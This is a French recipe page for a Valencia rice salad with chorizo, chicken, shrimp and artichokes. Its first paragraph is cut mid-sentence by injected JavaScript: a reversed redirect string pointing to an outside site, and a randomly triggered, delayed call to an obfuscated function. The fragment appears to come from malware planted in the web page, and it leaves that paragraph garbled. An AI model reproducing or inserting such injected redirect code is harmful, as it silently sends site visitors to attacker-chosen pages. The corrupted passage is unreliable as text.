Salade Valencia

2021-05-18

Pelez, coupez en petits dés les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Rincez, séchez, coupez en 2 le poivron. Ôtez les petites graines et le hacher ainsi que l’oignon et les gousses d’ail.

Ingrédients

  • Pour 4 personnes
  • 225 g de riz long
  • 45 cl de bouillon de poule fait avec un cube de volaille
  • 75 g de pois
  • 100 g de chorizo coupé en rondelles
  • 225 g de poulet cuit coupé en fines lamelles
  • 225 g de crevettes roses cuites décortiquées
  • 2 oignons pelés et hachés
  • 1 boite de 400 g de cœur d'artichauts égouttés
  • 2 gousses d'ail pelées, coupées en 2.
  • Ôtez le germe et les hacher
  • 2 cuillères à soupe d'huile d'arachide
  • 1 cuillère à soupe de vinaigre de cidre
  • 2 pincées de safran

Préparation de la recette

Etape 1

Pelez, coupez en petits dés les tomates.

Etape 2

Rincez, séchez, coupez en 2 le poivron.

Etape 3

Ôtez les petites graines et le hacher ainsi que l'oignon et les gousses d'ail.

Etape 4

Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen.

Etape 5

Faites fondre l'oignon pendant 5 minutes.

Etape 6

Tout en remuant, incorporez le riz, le poivron, salez, poivrez.

Etape 7

Mouillez avec le bouillon de volaille, faites cuire pendant 15 minutes.

Etape 8

Ajoutez les petits pois et prolongez la cuisson de 10 minutes.

Etape 9

Dans un saladier mélangez le chorizo, le poulet, les cœurs d'artichauts, les tomates, les crevettes et le riz cuit.

Etape 10

Arrosez avec la vinaigrette.

Etape 11

Mélangez et dégustez

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